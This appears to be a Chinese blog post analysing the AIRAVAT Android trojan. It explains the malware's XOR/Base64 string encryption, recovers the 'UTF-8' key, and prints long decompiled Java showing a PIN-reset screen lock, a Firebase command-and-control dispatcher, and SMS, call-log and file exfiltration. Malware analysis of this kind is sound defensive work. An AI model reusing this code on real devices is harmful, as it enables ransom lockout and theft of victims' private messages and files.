背景

项目里教了怎么将.apk文件里的ID替换为攻击者的ID，但是没有公开JAVA代码，自己想分析看看：
22.07.13-Cyble - 能够勒索的多功能安卓木马AIRAVAT

分析

解密字符串

敏感的字符串都被加密了，解密函数为“StringFogImpl.decrypt”：
image.png
很明显是有Base64编码过，直接尝试Base64解码，不对：
image.png

StringFogImpl.decrypt函数

加密（“encrypt”）：Xor str2后Base64编码
解密（“decrypt”）：Base64解码后Xor str2：
image.png
找了很久，都没找到str2的值。

大丈夫

异或是可逆的。
从报告里找对应的一对“密文”-“明文”。密文Base64解码后Xor明文XOR(%7B’option’:’UTF8’,’string’:’UTF-8’%7D,’Standard’,false)&input=6L6T5YWl5a%2BG5paH)，即可得Xor的另一个值：

  • 明文：dmpsms
  • 密文：MTk2XlUm

获取Xor的另一个字符串：
image.png
原来异或的另一个字符串，是“UTF-8”！

Xor(Base64.DeCode(str), “UTF-8”)XOR(%7B’option’:’UTF8’,’string’:’UTF-8’%7D,’Standard’,false)&input=6L6T5YWl5a%2BG5paH)

诡计多端！
image.png

功能

设置密码并锁屏

将密码设置为“1234”后立刻锁屏：
image.png

devicePolicyManager.setPasswordQuality)

  1. public class DeviceAdminComponent extends DeviceAdminReceiver
  2. {
  3.     private static final String OUR_SECURE_ADMIN_PASSWORD = "1234"
  4.     public CharSequence onDisableRequested(Context context, Intent intent)
  5.     {
  6.         ComponentName componentName = new ComponentName(context, DeviceAdminComponent.class);
  7.         DevicePolicyManager devicePolicyManager = (DevicePolicyManager) context.getSystemService(device_policy); 
  8.         if (devicePolicyManager.isAdminActive(componentName))
  9.         {
  10.             devicePolicyManager.setPasswordQuality(componentName, Numeric);
  11.         }
  12.         devicePolicyManager.resetPassword(OUR_SECURE_ADMIN_PASSWORD, resetPasswordWithToken);
  13.         devicePolicyManager.lockNow();
  14.         return super.onDisableRequested(context, intent);
  15.     }
  16. }

GUI-日志

/uid.txt
/panel.txt
/audur.txt

logoss-AccessibilityService（辅助服务）

监听指定类型的事件：
image.png
保存到日志（？）：
image.png

servicess-主要代码逻辑

从408行开始对比命令：
image.png
几乎所有有意义的字符串都被加密了，分析代码变成了体力活，解密后代码非常清晰，但是量大，此处就不继续深入分析了，具体参考：
22.07.13-Cyble - 能够勒索的多功能安卓木马AIRAVAT

Python解密

需解密字符串

service为主要的远控功能：

  1.     public void _service() {
  2.         _setpres();
  3.         _setpres2("");
  4.         FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejcpQFwmeyVCVTEn") + gui.uuii(getApplicationContext())).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.20
  5.             @Override // com.google.firebase.database.ChildEventListener
  6.             public void onChildAdded(DataSnapshot dataSnapshot, String str) {
  7.             }
  9.             @Override // com.google.firebase.database.ChildEventListener
  10.             public void onChildChanged(DataSnapshot dataSnapshot, String str) {
  11.                 Map map = (Map) dataSnapshot.getValue();
  12.                 servicess.this.cmdn = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiQw=="))).toString();
  13.                 servicess.this.cmdv = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiWw=="))).toString();
  14.                 servicess.this.cmdvar = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiW1kn"))).toString();
  15.                 if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("NjA="))) {
  16.                     if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2XlUm"))) {
  17.                         if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2Tlk5OA=="))) {
  18.                             if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2Tlc7IA=="))) {
  19.                                 if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MjEyXVk2PydKXSY="))) {
  20.                                     if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JjwjQVQ2OSI="))) {
  21.                                         if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTEwRFswPShLVw=="))) {
  22.                                             if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsnXkwhMT5Z"))) {
  23.                                                 if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ISA1SV0j"))) {
  24.                                                     if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("Iz0kX1khMSJITg=="))) {
  25.                                                         if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JTgnVEs4ITVEWw=="))) {
  26.                                                             if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JjEoSUs4Jw=="))) {
  27.                                                                 if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("NjwnQ18wIydBVA=="))) {
  28.                                                                     if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("OiQxSFo="))) {
  29.                                                                         if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsoWQ=="))) {
  30.                                                                             if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsgS0w="))) {
  31.                                                                                 if (servicess.this.cmdn.equals(StringFogImpl.decrypt("NjgvXQ=="))) {
  32.                                                                                     servicess.this.clips();
  33.                                                                                     return;
  34.                                                                                 }
  35.                                                                                 return;
  36.                                                                             }
  37.                                                                             servicess.this.tofft();
  38.                                                                             return;
  39.                                                                         }
  40.                                                                         servicess.this.tont();
  41.                                                                         return;
  42.                                                                     }
  43.                                                                     servicess.this._voicere(servicess.this.cmdv);
  44.                                                                     return;
  45.                                                                 }
  46.                                                                 servicess.this._changewall(servicess.this.cmdv);
  47.                                                                 return;
  48.                                                             }
  49.                                                             servicess.this._sendsm(servicess.this.cmdv, servicess.this.cmdvar);
  50.                                                             return;
  51.                                                         }
  52.                                                         servicess.this._palysmudic(servicess.this.cmdv);
  53.                                                         return;
  54.                                                     }
  55.                                                     servicess.this._vibra(servicess.this.cmdv);
  56.                                                     return;
  57.                                                 }
  58.                                                 servicess.this._ttsdev(servicess.this.cmdv);
  59.                                                 return;
  60.                                             }
  61.                                             servicess.this._showtoast(servicess.this.cmdv);
  62.                                             return;
  63.                                         }
  64.                                         servicess.this._devinfo();
  65.                                         return;
  66.                                     }
  67.                                     servicess.this._sudoapt(servicess.this.cmdv, "");
  68.                                     return;
  69.                                 }
  70.                                 servicess.this._getpackages();
  71.                                 return;
  72.                             }
  73.                             servicess.this._dmpcon();
  74.                             return;
  75.                         }
  76.                         servicess.this._dmpcal();
  77.                         return;
  78.                     }
  79.                     servicess.this.getAllSms(servicess.this.getApplicationContext());
  80.                     return;
  81.                 }
  82.                 servicess.this._cd(servicess.this.cmdv, "", "");
  83.             }
  85.             @Override // com.google.firebase.database.ChildEventListener
  86.             public void onChildRemoved(DataSnapshot dataSnapshot) {
  87.             }
  89.             @Override // com.google.firebase.database.ChildEventListener
  90.             public void onChildMoved(DataSnapshot dataSnapshot, String str) {
  91.             }
  93.             @Override // com.google.firebase.database.ChildEventListener
  94.             public void onCancelled(DatabaseError databaseError) {
  95.             }
  96.         }); // /comds/comds/comds/comds
  97.     }
  99.     public void _setpres() {
  100.         FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejsoQVE7MWk=") + gui.uuiip(getApplicationContext()) + StringFogImpl.decrypt("eiE1SEo=") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("MTEwRFsw")).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.21
  101.             @Override // com.google.firebase.database.ChildEventListener
  102.             public void onChildAdded(DataSnapshot dataSnapshot, String str) {
  103.             }
  105.             @Override // com.google.firebase.database.ChildEventListener
  106.             public void onChildChanged(DataSnapshot dataSnapshot, String str) {
  107.             }
  109.             @Override // com.google.firebase.database.ChildEventListener
  110.             public void onChildRemoved(DataSnapshot dataSnapshot) {
  111.                 servicess.this._setpres2("");
  112.             }
  114.             @Override // com.google.firebase.database.ChildEventListener
  115.             public void onChildMoved(DataSnapshot dataSnapshot, String str) {
  116.             }
  118.             @Override // com.google.firebase.database.ChildEventListener
  119.             public void onCancelled(DatabaseError databaseError) {
  120.             }
  121.         });
  122.     }
  124.     public void _setpres2(String str) {
  125.         this.responsetxt.clear();
  126.         this.responsetxt = new HashMap<>();
  127.         this.responsetxt.put(StringFogImpl.decrypt("JTwpQ10="), String.valueOf(Build.MANUFACTURER) + " " + Build.MODEL);
  128.         this.responsetxt.put(StringFogImpl.decrypt("NDoiX1c8MA=="), StringFogImpl.decrypt("FDoiX1c8MGY=") + Build.VERSION.RELEASE);
  129.         this.responsetxt.put(StringFogImpl.decrypt("NzUyWV0nLQ=="), String.valueOf(((BatteryManager) getSystemService(StringFogImpl.decrypt("NzUyWV0nLStMVjQzI18="))).getIntProperty(4)) + StringFogImpl.decrypt("cA=="));
  130.         this.responsetxt.put(StringFogImpl.decrypt("PDA="), gui.uuii(getApplicationContext()));
  131.         for (String str2 : new String[]{StringFogImpl.decrypt("eic/XkwwOWlMSCV7FVhIMCYzXl0neiddUw=="), StringFogImpl.decrypt("eickRFZ6JzM="), StringFogImpl.decrypt("eic/XkwwOWlPUTt7NVg="), StringFogImpl.decrypt("eic/XkwwOWlVWjw6aV5N"), StringFogImpl.decrypt("ejAnWVl6OClOWTl7Pk9RO3s1WA=="), StringFogImpl.decrypt("ejAnWVl6OClOWTl7JERWeicz"), StringFogImpl.decrypt("eic/XkwwOWleXHosJERWeicz"), StringFogImpl.decrypt("eic/XkwwOWlPUTt7IExROScnS116JzM="), StringFogImpl.decrypt("ejAnWVl6OClOWTl7NVg="), StringFogImpl.decrypt("eiczAlo8OmleTQ==")}) {
  132.             if (new File(str2).exists()) {
  133.                 StringFogImpl.decrypt("DDE1");
  134.             }
  135.         }
  136.         this.responsetxt.put(StringFogImpl.decrypt("JzspWV0x"), StringFogImpl.decrypt("Gzs="));
  137.         DatabaseReference child = FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejsoQVE7MWk=") + gui.uuiip(getApplicationContext()) + StringFogImpl.decrypt("eiE1SEo=") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("MTEwRFsw"));
  138.         child.setValue(this.responsetxt);
  139.         child.onDisconnect().removeValue();
  140.     }
  142.     public void _cd(final String str, String str2, String str3) {
  143.         int i = 0;
  144.         if (FileUtil.isExistFile(str)) {
  145.             if (FileUtil.isDirectory(str)) {
  146.                 this.lst.clear();
  147.                 FileUtil.listDir(str, this.lst);
  148.                 this.num = 0.0d;
  149.                 this.str = StringFogImpl.decrypt("aTgvDQZ7eg==");
  150.                 while (true) {
  151.                     int i2 = i;
  152.                     if (i2 < this.lst.size()) {
  153.                         if (FileUtil.isDirectory(this.lst.get((int) this.num))) {
  154.                             this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXcyKQ8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment()));
  155.                         } else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("eyQoSg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez42Sg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez42SF8=")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("eycwSg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez0lQg=="))) {
  156.                             this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXc9Kw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
  157.                         } else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ezk2GQ=="))) {
  158.                             this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXciLw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
  159.                         } else {
  160.                             this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXcyLw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
  161.                         }
  162.                         this.num += 1.0d;
  163.                         i = i2 + 1;
  164.                     } else {
  165.                         _setrespo(this.str, str, "", "", "");
  166.                         return;
  167.                     }
  168.                 }
  169.             } else if (FileUtil.isFile(str)) {
  170.                 BitmapFactory.Options options = new BitmapFactory.Options();
  171.                 options.inJustDecodeBounds = true;
  172.                 BitmapFactory.decodeFile(str, options);
  173.                 if (options.outWidth != -1 && options.outHeight != -1 && new File(str).length() / 1024 < 3072) {
  174.                     Date date = new Date(new File(str).lastModified());
  175.                     ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  176.                     BitmapFactory.decodeFile(str).compress(Bitmap.CompressFormat.JPEG, 100, byteArrayOutputStream);
  177.                     _setrespo(StringFogImpl.decrypt("PDkhW1EwIw=="), str, Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0), StringFogImpl.decrypt("aTgvE3Y0OSMXGA==") + Uri.parse(str).getLastPathSegment() + StringFogImpl.decrypt("aTgvE3snMSdZUTo6fA0=") + date + StringFogImpl.decrypt("aTgvE2s8LiMXGA==") + (new File(str).length() / 1024) + StringFogImpl.decrypt("HhZmEVQ8ahZMTD1uZg==") + str, "");
  178.                     return;
  179.                 }
  180.                 this.root.child(str).putFile(Uri.fromFile(new File(str))).addOnFailureListener(this._fbs_failure_listener).addOnProgressListener(this._fbs_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.22
  181.                     /* JADX WARN: Can't rename method to resolve collision */
  182.                     @Override // com.google.android.gms.tasks.Continuation
  183.                     public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  184.                         return servicess.this.root.child(str).getDownloadUrl();
  185.                     }
  186.                 }).addOnCompleteListener(this._fbs_upload_success_listener);
  187.                 this.filinfodat = StringFogImpl.decrypt("aTgvE3Y0OSMXGA==") + Uri.parse(str).getLastPathSegment() + StringFogImpl.decrypt("aTgvE3snMSdZUTo6fA0=") + new Date(new File(str).lastModified()) + StringFogImpl.decrypt("aTgvE2s8LiMXGA==") + (new File(str).length() / 1024) + StringFogImpl.decrypt("HhZmEVQ8ahZMTD1uZg==") + str;
  188.             }
  189.         }
  190.     }
  192.     public void _setrespo(String str, String str2, String str3, String str4, String str5) {
  193.         this.responsetxt.clear();
  194.         this.responsetxt = new HashMap<>();
  195.         this.responsetxt.put(StringFogImpl.decrypt("JzE1XVc="), str);
  196.         this.responsetxt.put(StringFogImpl.decrypt("IzU0Hw=="), str2);
  197.         this.responsetxt.put(StringFogImpl.decrypt("I2U="), str3);
  198.         this.responsetxt.put(StringFogImpl.decrypt("I2Y="), str4);
  199.         this.responsetxt.put(StringFogImpl.decrypt("I2c="), str5);
  200.         String decrypt = StringFogImpl.decrypt("NDYlSV0zMy5EUj44K0NXJSU0XkwgIjFVQS8=");
  201.         String str6 = String.valueOf(decrypt) + StringFogImpl.decrypt("ZWV0HgxgYnEVAQ==");
  202.         Random random = new Random();
  203.         StringBuilder sb = new StringBuilder(8);
  204.         sb.append(str6.charAt(random.nextInt(str6.length() - 1)));
  205.         for (int length = sb.length(); length < 8; length++) {
  206.             sb.append(str6.charAt(random.nextInt(str6.length())));
  207.         }
  208.         this.responsetxt.put(StringFogImpl.decrypt("JzoiQA=="), sb.toString());
  209.         this._firebase.getReference(StringFogImpl.decrypt("eiYjXkg6J2lfXSYkKQ==") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("JzE1XVc=")).setValue(this.responsetxt);
  210.     }
  212.     public void _dmpsm(String str) {
  213.     }
  215.     public void getAllSms(Context context) {
  216.         Cursor query = context.getContentResolver().query(Telephony.Sms.CONTENT_URI, null, null, null, null);
  217.         String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMEODEyTBg7NStIBXI3LkxKJjEyChg2OyhZXTsgewptARJrFR91anpeWyc9NlkYIS02SAVyICNVTHo+J1tZJjc0REghc2ZeSjZpYUVMISQ1Fxd6NSxMQHszKUJfOTEnXVEmeiVCVXo1LExAejgvT0t6PjdYXSctaR4WYXp2AlIkISNfQXs5L0MWPydhEwR6JyVfUSUgeA0EJiA/QV1rdCRCXCwvK0xKMj0oFwhuJCdJXDw6IRcIbjYnTlMyJilYVjFuZU5bNiloTFs2OzRJUTo6PU9ZNj8hX1cgOiIAWzo4KV8CdjIgSwM2OypCSm93dh0IbjczX0s6JnxdVzw6MkhKbiQnSVw8OiEXCW0kPhZPPDAyRQJkZHYIAzc7NEldJ24oQlYwbzJIQCF5J0FRMjp8QV0zIH1CTSE4L0Ndb2R9S1c7IGteUS8xfBwNJSx9XVcmPTJEVztuNEhUNCAvW11uIDRMViY9MkRXO25oGUtuJCdJXDw6IQBUMDIyFw1lJD5QFjQ3JUJKMT0pQwI9OzBISnl6J05MPCIjVlo0Ny1KSjohKABbOjgpXwJ2NSdMRXs1JU5XJzAvQlZvNSBZXScvJUJWITEoWQJytsaXH243KUFXJ25lHQhlbyBCViF5MUhRMjwyFw9lZH1LVDo1MhdKPDMuWQMhJidDSzM7NEACJzsyTEwwfH8dXDAzbxZVNCYhRFZ4OCNLTG9hNlVFezUlWVEjMXxMXiExNFZbOjoySFYhbmHPuO9zOwNINDojQUMlNSJJUTszfB0YZGw2VQM3NSVGXyc7M0NceDcpQVcnbmVIXTBvK0xAeDwjRF89IHwdAzY7KkJKb3d2HQhuOzBISjM4KVoCPT0iSV07bzJfWTsnL1lROjp8QFkteS5IUTI8Mg0WZydmSFkmMWtCTSEpJFhMITsoDUslNShWSDonL1lROjp8TFomOypYTDBvNERfPSB8GAglLDtPTSEgKUMYPDkhVlAwPSFFTG9ndl1AbiQpXlEhPSlDAjQ2NUJUICAjFlQwMjIXCWUkPhZMOiR8HAglLH1aUTEgLhcLZSQ+UBY8Ly5IUTI8MhcLZSQ+Fk88MDJFAmZhNlUDOTEgWQJtJD4WTCc1KF5eOiYrF0s2NSpIEHttb1AWJTUoSFQuJCdJXDw6IRcIdWV+XUBuNidOUzImKVhWMXklQlQ6JnwOXTAxfUBZLXkuSFEyPDIXCG43KUFXJ25lHQhlbylbXScyKkJPbzwvSVwwOn1ZSjQ6NURMPDsoF1U0LGtFXTwzLlkYe2Y1DV00JyMAVyAgO09NISApQxgmJCdDQyU7NURMPDsoF1k3JylBTSExfV9RMjwyFw1lJD5QWiAgMkJWdT0rSkM9MS9KUCFudR1ILW82Qks8IC9CVm81JF5XOSEySAM5MSBZAmRkNlUDITs2FwllJD4WTzwwMkUCZmQ2VUVpezVZQTkxeA==");
  218.         if (query != null) {
  219.             int count = query.getCount();
  220.             if (query.moveToFirst()) {
  221.                 String str = decrypt;
  222.                 for (int i = 0; i < count; i++) {
  223.                     String string = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("MTUySA==")));
  224.                     String string2 = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("NDAiX10mJw==")));
  225.                     String string3 = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("NzsiVA==")));
  226.                     new Date(Long.valueOf(string).longValue());
  227.                     String str2 = "";
  228.                     String str3 = "";
  229.                     switch (Integer.parseInt(query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("IS02SA=="))))) {
  230.                         case 1:
  231.                             str2 = StringFogImpl.decrypt("PDokQkA=");
  232.                             str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFzw6JEJAeyQoSgc0ODIQVTAwL0weITstSFZoMnVOXm0wfhwVNjJ0HhVhYX4VFTcwf04VM20lHg8zYXcVAWBn");
  233.                             break;
  234.                         case 2:
  235.                             str2 = StringFogImpl.decrypt("JjEoWQ==");
  236.                             str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFyYxKFkWJTohElk5IHtAXTE9JwtMOj8jQwU0YSBPCmxtdQANYzZwAAwzYHIAWjRtcwANbGxzTF02YidJDDQ=");
  237.                             break;
  238.                         case 4:
  239.                             str2 = StringFogImpl.decrypt("OiEyT1ct");
  240.                             str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFzohMk9XLXo2Q19qNSpZBTgxIkRZcyApRl07aXRLD2VickwPeGRzTwB4YHMeDXg1cE5eeGJwGw40MXQdWjMydg==");
  241.                             break;
  242.                     }
  243.                     str = String.valueOf(str) + StringFogImpl.decrypt("aTYzWUw6OmZOVDQnNRAfNDclQkoxPSlDH2toL0BfdSc0TgVy") + str3 + StringFogImpl.decrypt("cnQnQUxocw==") + str2 + StringFogImpl.decrypt("cnR4") + string2 + StringFogImpl.decrypt("aSc2TFZr") + string + StringFogImpl.decrypt("aQ==") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("JiQnQwZp") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("NyEyWVc7ag==") + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzNkxWMDhhEw==") + string3 + StringFogImpl.decrypt("aQ==") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("MT0wEw==");
  244.                     query.moveToNext();
  245.                 }
  246.                 decrypt = str;
  247.             }
  248.             query.close();
  249.             decrypt = String.valueOf(decrypt) + StringFogImpl.decrypt("aSclX1ElIGZZQSUxewpMMCwyAlI0IideWyc9Nlkfa3Q=") + StringFogImpl.decrypt("MyEoTkw8OygNTDh8MgRDJzEyWEo7dChIT3UQJ1ldfWUjHhIhfWhZVxk7JUxUMAcyX1E7M24EAyhwbgpLJTUoChF7MSdOUH0yM0NbIT0pQxAheCMEQ3F8IwQWPSArQRAhOW5dWScnI2RWIXxiBV18ei5ZVTl8bwQRfClvFk40JmZEFDQ3JRBcOjczQF07IGhKXSERKkhVMDoyXnosFypMSyYaJ0BdfXMnTls6JiJEVztzbxZeOiZuRAVlby8RWTY3aEFdOzMyRQM8f20EWTY3HURlezUiSX0jMShZdDwnMkhWMCZuCls5PSVGH3kyM0NbIT0pQxB8LzJFUSZ6JUFZJicKREshejJCXzI4IwUfNDcyRE4wc28WTjQmZlkFITwvXhY7MT5ZfTkxK0hWIQcvT1Q8OiEWTHsnMlRUMHorTEAdMS9KUCFrMgNLIS0qSBY4NT5lXTwzLlkFOyEqQQIhejVZQTkxaEBZLRwjRF89IHtZFiY3NEJUORwjRF89IG0KSC1zOwQD") + StringFogImpl.decrypt("aXs1Tko8JDIT");
  250.         }
  251.         try {
  252.             if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB")))) {
  253.                 FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB")));
  254.             }
  255.             FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("eicrXhY9ICtB"), true);
  256.             fileOutputStream.write((String.valueOf(decrypt) + "\n\n").getBytes());
  257.             fileOutputStream.close();
  258.             this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.23
  259.                 /* JADX WARN: Can't rename method to resolve collision */
  260.                 @Override // com.google.android.gms.tasks.Continuation
  261.                 public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  262.                     return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))).getDownloadUrl();
  263.                 }
  264.             }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  265.         } catch (FileNotFoundException e) {
  266.         } catch (IOException e2) {
  267.         }
  268.     }
  270.     public void _dmpcal() {
  271.         String decrypt;
  272.         Context applicationContext = getApplicationContext();
  273.         StringBuffer stringBuffer = new StringBuffer();
  274.         stringBuffer.append(StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMYaScyVFQwamZPVzEtPUBZJzMvQwJlbzZMXDE9KEoCZW8kTFs+MzRCTTswfA5bNjc7A1Q6LzFEXCE8fE5ZOTduFABwdGsNDmUkPgQDJTs1REw8OygXSjA4J1lRIzF9RV08My5ZAjQhMkIDJTUiSVE7M2tPVyEgKUACYCQ+Fkg0MCJEVjJ5MkJIb2VzXUBuJCdJXDw6IQBUMDIyFw5lJD4WWjQ3LUpKOiEoSQJ2MiBLAzg1NEpRO24nWEw6byRCSjExNABKNDAvWEtvZXZdQG45J19fPDprWVclbnNdQCh6KkIYPDkhVl45OydZAjkxIFkDPTEvSlAhbnUdSC1vMURcITx8HgglLH1dVyY9MkRXO24nT0s6ODNZXW4gKV0CbSQ+FlQwMjIXCWUkPlAWOTtmXkg0Oj1LVDo1MhdKPDMuWQM4NTRKUTt5NERfPSB8HwglLDsRFyYgP0Fda2gkQlwsag=="));
  275.         Cursor query = applicationContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, StringFogImpl.decrypt("MTUySBgRERVu"));
  276.         int columnIndex = query.getColumnIndex(StringFogImpl.decrypt("OyErT10n"));
  277.         int columnIndex2 = query.getColumnIndex(StringFogImpl.decrypt("IS02SA=="));
  278.         int columnIndex3 = query.getColumnIndex(StringFogImpl.decrypt("MTUySA=="));
  279.         int columnIndex4 = query.getColumnIndex(StringFogImpl.decrypt("MSE0TEw8Oyg="));
  280.         while (query.moveToNext()) {
  281.             String string = query.getString(columnIndex);
  282.             String string2 = query.getString(columnIndex2);
  283.             Date date = new Date(Long.valueOf(query.getString(columnIndex3)).longValue());
  284.             String string3 = query.getString(columnIndex4);
  285.             String str = "";
  286.             switch (Integer.parseInt(string2)) {
  287.                 case 1:
  288.                     decrypt = StringFogImpl.decrypt("HBoFYnUcGgE=");
  289.                     str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxwaBWJ1HBoBA0g7M3lMVCFpK0hcPDVgWVc+MSgQXWNidk4MYmxrFVxlbWsZXjNsaxQNZDFrTghkNX8bCjM1Ik4M");
  290.                     break;
  291.                 case 2:
  292.                     decrypt = StringFogImpl.decrypt("GgESanccGgE=");
  293.                     str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxoBEmp3HBoBA0g7M3lMVCFpK0hcPDVgWVc+MSgQD2ZsJx4LMG1rGwhhbWsZWW1saxQMYWRrHlk2YiAVADBncB5b");
  294.                     break;
  295.                 case 3:
  296.                     decrypt = StringFogImpl.decrypt("GB0Vfn0R");
  297.                     str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxgdFX59EXo2Q19qNSpZBTgxIkRZcyApRl07aSNPXWxgfhoOeDV1TAx4YHEbDXhsdksNeDcjFV1nN3IVDGVhcA==");
  298.                     break;
  299.                 default:
  300.                     decrypt = null;
  301.                     break;
  302.             }
  303.             stringBuffer.append(StringFogImpl.decrypt("aTAvWxg2OCdeS2hzKkIfdWp6RFUydDVfW2hz") + str + StringFogImpl.decrypt("cnQnQUxocw==") + decrypt + StringFogImpl.decrypt("cnR4EVpr") + string + StringFogImpl.decrypt("aXskExhpJzZMVms=") + string3 + StringFogImpl.decrypt("dQcjTgR6JzZMVmtoJF8GaTY0Ew==") + date + StringFogImpl.decrypt("aXsiRE5r"));
  304.         }
  305.         query.close();
  306.         try {
  307.             if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA==")))) {
  308.                 FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA==")));
  309.             }
  310.             FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejcnQVR7PDJAVA=="), true);
